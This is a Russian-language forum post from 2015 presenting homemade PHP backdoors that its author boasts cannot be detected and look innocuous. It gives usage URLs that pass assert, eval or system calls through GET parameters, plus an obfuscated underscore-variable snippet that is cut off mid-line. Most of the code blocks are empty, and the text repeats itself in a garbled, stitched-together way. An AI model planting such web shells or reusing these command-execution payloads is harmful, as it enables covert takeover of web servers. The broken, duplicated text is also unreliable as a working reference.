M.Billar
10.04.2015, 09:39
1) PHP-Backdoor, который ничем не палится и при этом выглядит не палевно. Вчера придумал
PHP:
Using said:
index.php?large=assert&code=echo 123;
index.php?large=assert&code=system('echo 1;');
Могу поздравить себя с первым собственным пхп-бекдором.
2) Используем фичу обратных кавычек. Исполняет код передаваемый в параметре = названию переменной.
PHP:
>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_;$_[]=++$__;$_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+$_[$__-$__]).($__+$__+$__)+$_[$__-$__];$_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__
Using said:
file.php?0=НАЗВАНИЕ_ФУНКЦИИ&1=ДАННЫЕ ДЛЯ ФУНКЦИИ
file.php?0=assert&1=phpinfo();
file.php?0=eval&1=echo 1;
4) PHP-Backdoor, спасибо тебе, типизация которой нет
PHP:
Using said:
file.php?f=assert&c=phpinfo();
file.php?f=eval&c=echo 1;
PHP:
Using said:
index.php?large=assert&code=echo 123;
index.php?large=assert&code=system('echo 1;');
Могу поздравить себя с первым собственным пхп-бекдором.
2) Используем фичу обратных кавычек. Исполняет код передаваемый в параметре = названию переменной.
PHP:
>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_;$_[]=++$__;$_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+$_[$__-$__]).($__+$__+$__)+$_[$__-$__];$_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__
Using said:
file.php?0=НАЗВАНИЕ_ФУНКЦИИ&1=ДАННЫЕ ДЛЯ ФУНКЦИИ
file.php?0=assert&1=phpinfo();
file.php?0=eval&1=echo 1;
4) PHP-Backdoor, спасибо тебе, типизация которой нет
PHP:
Using said:
file.php?f=assert&c=phpinfo();
file.php?f=eval&c=echo 1;